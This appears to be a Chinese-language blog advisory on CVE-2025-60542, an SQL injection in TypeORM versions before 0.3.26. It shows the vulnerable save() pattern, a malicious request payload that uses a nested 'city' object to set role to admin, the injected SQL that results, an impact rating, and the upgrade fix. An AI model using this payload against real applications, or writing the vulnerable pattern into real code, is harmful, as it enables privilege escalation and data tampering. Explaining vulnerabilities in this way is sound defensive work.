TypeORM SQL注入漏洞分析:CVE-2025-60542安全风险详解

TypeORM在0.3.26之前版本存在SQL注入漏洞,攻击者可通过精心构造的repository.save或repository.update请求实现SQL注入,原因是sqlstring调用时stringifyObjects选项默认为false导致的对象异常解析。

漏洞概述

CVE-2025-60542 是一个影响TypeORM的高危SQL注入漏洞,存在于0.3.26之前的所有版本中。该漏洞允许攻击者通过精心构造的repository.saverepository.update请求执行SQL注入攻击。

受影响版本

  • 受影响版本:< 0.3.26
  • 已修复版本:0.3.26

漏洞详情

漏洞代码示例

1
2
3
4
5
6
7
8
const { username, city, name} = req.body;
const updateData = {
    username,
    city,
    name,
    id:userId
}; // 开发者意图只允许更新上述三个字段
const result = await userRepo.save(updateData);

正常负载示例

1
username=myusername&city=Riga&name=Javad

1
{"username":"myusername","phone":12345,"name":"Javad"}

生成的SQL查询

1
2
3
4
5
UPDATE `user` 
SET `username` = 'myusername', 
    `city` = 'Riga', 
    `name` = 'Javad' 
WHERE `id` IN (1);

恶意负载示例

1
username=myusername&city[name]=Riga&city[role]=admin

1
{"username":"myusername","city":{"name":"Javad","role":"admin"}}

生成的注入后SQL查询

1
2
3
4
5
UPDATE `user` 
SET `username` = 'myusername', 
    `city` = `name` = 'Javad', 
    `role` = 'admin' 
WHERE `id` IN (1);

技术原理

该漏洞的根本原因是TypeORM在使用mysql2时没有为stringifyObjects选项指定值。在mysql和mysql2中,此选项默认为false。该选项随后以false值传递给SQLString库,导致sqlstring使用objectToValues以异常方式解析对象。

安全影响

  • 攻击向量:网络
  • 攻击复杂度:低
  • 权限要求:无
  • 用户交互:无
  • 影响范围
    • 机密性:高
    • 完整性:高
    • 可用性:低

修复方案

升级到TypeORM 0.3.26或更高版本,该版本已修复此安全漏洞。

参考链接

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计